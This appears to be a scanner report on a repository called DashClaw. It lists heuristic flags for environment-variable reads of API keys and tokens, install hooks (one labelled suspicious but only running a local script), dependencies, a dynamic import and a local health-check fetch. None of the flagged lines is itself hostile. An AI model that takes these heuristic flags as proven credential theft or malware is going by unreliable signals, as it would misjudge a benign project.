  • secrets (weak) ucsandman-DashClaw-481c747/scripts/drills/claim-flow.mjs :92 const drillToken = process.env.HOSTED_DRILL_TOKEN || '';
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/drills/fresh-linux.mjs :91 const req = http.request('http://localhost:3000/api/actions', { method: 'POST', headers: { 'x-api-key': process.env.API_KEY, 'content-type': 'application/json', 'content-length': Buffer.byteLength(dat
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/drills/hosted-stranger.mjs :83 const drillToken = process.env.HOSTED_DRILL_TOKEN || '';
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/fuzz-api.mjs :60 const API_KEY = process.env.DASHCLAW_API_KEY || '';
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/generate-agent-keys.mjs :52 console.log(`\n// Usage in Agent Code:\nimport { DashClaw } from 'dashclaw';\nimport { webcrypto } from 'node:crypto';\n\n// Import the key\nconst keyData = JSON.parse(process.env.AGENT_PRIVATE_KEY);\
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/guard-load.mjs :42 const inheritedKey = process.env.DASHCLAW_API_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/live-canary.mjs :212 const key = process.env.DASHCLAW_API_KEY || '';
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/migrate-multi-tenant.mjs :1603 const dashboardKey = process.env.DASHCLAW_API_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/policy-smoke.mjs :29 const inheritedKey = process.env.DASHCLAW_API_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/report-action.mjs :289 const apiKey = process.env.DASHCLAW_API_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/report-tokens.mjs :204 const apiKey = process.env.DASHCLAW_API_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/smoke-hosted.mjs :31 args.adminKey = args.adminKey || process.env.DASHCLAW_API_KEY || '';
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/startup-smoke.mjs :15 if (process.env.DASHCLAW_API_KEY) return process.env.DASHCLAW_API_KEY;
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/telegram-register-webhook.mjs :21 const token = process.env.TELEGRAM_BOT_TOKEN;
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/telegram-setup-wizard.mjs :212 const envDefault = process.env.DASHCLAW_API_KEY || undefined;
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/telegram-verify-loop.mjs :19 const apiKey = arg('--key', process.env.DASHCLAW_API_KEY);
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/test-actions.mjs :21 const API_KEY = process.env.DASHCLAW_API_KEY || '';
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/test-full-api.mjs :34 const API_KEY = process.env.DASHCLAW_API_KEY || '';
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/test-realtime.mjs :6 const API_KEY = process.env.DASHCLAW_API_KEY || 'oc_live_dev';
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/test-sdk-live.mjs :37 const API_KEY = process.env.DASHCLAW_API_KEY || '';
  • secrets (weak) ucsandman-DashClaw-481c747/scripts/upload-skill.mjs :26 const API_KEY = process.env.ANTHROPIC_API_KEY;

database 1

  • db (weak) ucsandman-DashClaw-481c747/scripts/export-marketing-events.mjs :18 import { createClient } from 'redis';

tool registrations 2

  • dashclaw_status ucsandman-DashClaw-481c747/mcp-server/lib/tools/index.js :50
  • export_dashclaw_evidence ucsandman-DashClaw-481c747/mcp-server/lib/tools/index.js :55

install hooks 3

  • prepublishOnly ucsandman-DashClaw-481c747/mcp-server/package.json :60 npm run verify
  • prepare (suspicious) ucsandman-DashClaw-481c747/package.json :78 node -e "const f='scripts/living-merge/prepare.mjs';require('fs').existsSync(f)&&require('child_process').spawnSync(process.execPath,[f],{stdio:'inherit'})"
  • prepack ucsandman-DashClaw-481c747/packages/openclaw-plugin/package.json :51 npm run build

declared dependencies 46

  • @modelcontextprotocol/server@^2.0.0
  • @e965/xlsx@^0.20.3
  • @neondatabase/serverless@^1.1.0
  • @vercel/analytics@2.0.1
  • d3-force@^3.0.0
  • dashclaw@^5.6.0
  • docx@^9.7.1
  • drizzle-orm@^0.45.2
  • esbuild@^0.28.1
  • fflate@^0.8.3
  • html2pdf.js@^0.14.0
  • js-yaml@^5.2.2
  • lucide-react@0.577.0
  • next@^16.2.12
  • next-auth@^4.24.15
  • openai@^7.1.0
  • postgres@^3.4.9
  • react@^18
  • react-dom@^18
  • react-grid-layout@^2.2.3
  • react-markdown@^10.1.0
  • recharts@^3.10.1
  • redis@^4.7.1
  • resend@^6.18.1
  • stripe@^22.3.2
  • tweetnacl@^1.0.3
  • zod@^4.4.3
  • @cfworker/json-schema@^4.1.1
  • @playwright/test@^1.62.0
  • @testing-library/react@^16.3.2
  • @types/node@^22.20.1
  • @types/react@^18.3.12
  • @types/react-dom@^18.3.1
  • @vitejs/plugin-react@^6.0.4
  • @vitest/coverage-v8@^4.1.10
  • acorn@^8.18.0
  • autocannon@^8.0.0
  • autoprefixer@^10.5.4
  • drizzle-kit@^0.31.10
  • eslint@^9.39.5
  • eslint-config-next@^16.2.12
  • jsdom@^29.1.1
  • tailwindcss@^3.3.0
  • tsx@^4.23.1
  • typescript@^5.9.3
  • vitest@^4.1.0

obfuscation 1

  • dynamic require()/import() ucsandman-DashClaw-481c747/cli/test/prompt-eof.test.js :36 const { ask } = await import(${JSON.stringify(configUrl)});

perm:untrusted 1

  • untrusted (weak) ucsandman-DashClaw-481c747/scripts/regen-platform-guide-examples.mjs :275 const health = await fetch(BASE + '/api/health').then((r) => r.json()).catch(() => null);